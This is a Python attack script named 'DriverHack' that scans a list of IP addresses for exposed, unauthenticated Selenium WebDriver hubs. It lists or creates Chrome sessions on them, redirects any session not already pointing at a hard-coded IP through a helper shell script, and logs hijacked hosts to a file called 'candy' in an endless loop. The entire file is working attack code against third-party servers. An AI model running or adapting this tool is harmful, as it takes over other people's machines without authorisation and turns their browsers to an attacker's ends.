import json
import subprocess
import re
import time

from RestfulAttack import RestfulAttack


class DriverHack(RestfulAttack):
    def __init__(self, data, port, headers=None, concurrent=10):
        super().__init__(data, concurrent=concurrent, headers=headers)
        self.port = port
        self.candy = set()
        self.fail_create = set()

    def do_work(self, row):
        try:
            ip = re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", row)[0]
            url = "http://" + ip + ":" + self.port + "/wd/hub/sessions"
            r = self.get(url, timeout=6)

            if isinstance(r, Exception):
                pass
            elif r.status_code == 200:
                res = json.loads(r.text)
                its = res["value"]
                its_size = len(its)
                print("loop session num: ", its_size)

                if its_size > 0:
                    self.candy.add(ip + "\n")
                    self.loop(ip, self.port, its)

                if its_size < 4:
                    self.create(ip, self.port)

        except Exception as e:
            print(e)

    def done(self):
        open('candy', 'a+').writelines(self.candy)
        open('fail_create', 'a+').writelines(self.fail_create)

    def loop(self, ip, port, items):
        for i in items:
            _id = i["id"]
            if len(_id) != 0:
                self.cur(ip, port, _id)

    def cur(self, ip, port, _id):
        url = "http://{}:{}/wd/hub/session/{}/url".format(ip, port, _id)
        r = self.get(url)
        if isinstance(r, Exception):
            pass
        elif r.status_code == 200:
            if "47.52.168.156" in r.text:
                print("living")
            else:
                self.nav(ip, port, _id)

    def nav(self, ip, port, _id):
        print("** nav to**: ", _id)
        cmd = "sh nav.sh {} {} {}".format(ip, port, _id)
        subprocess.Popen(cmd, shell=True)

    def create(self, ip, port):
        print("!! create !!")
        url = "http://{}:{}/wd/hub/session".format(ip, port)
        payload = {"desiredCapabilities": {"browserName": "chrome"}}

        r = self.post(url, payload=payload, timeout=10)

        if isinstance(r, Exception):
            print("## create fail")
            self.fail_create.add(ip+"\n")
            pass
        elif r.status_code == 200:
            self.candy.add(ip + "\n")
            _id = json.loads(r.text)["sessionId"]
            self.nav(ip, port, _id)


if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser()
    parser.add_argument('-f', dest='file', help='port')
    parser.add_argument('-p', dest='port', help='port')
    parser.add_argument('-t', dest='thr', help='thr')
    args = parser.parse_args()
    while 1:
        task = DriverHack(data=open(args.file).readlines(),
                          port=args.port,
                          headers={'Content-Type': 'application/json'},
                          concurrent=int(args.thr))
        task.run()
        print("next loop")
        time.sleep(10)
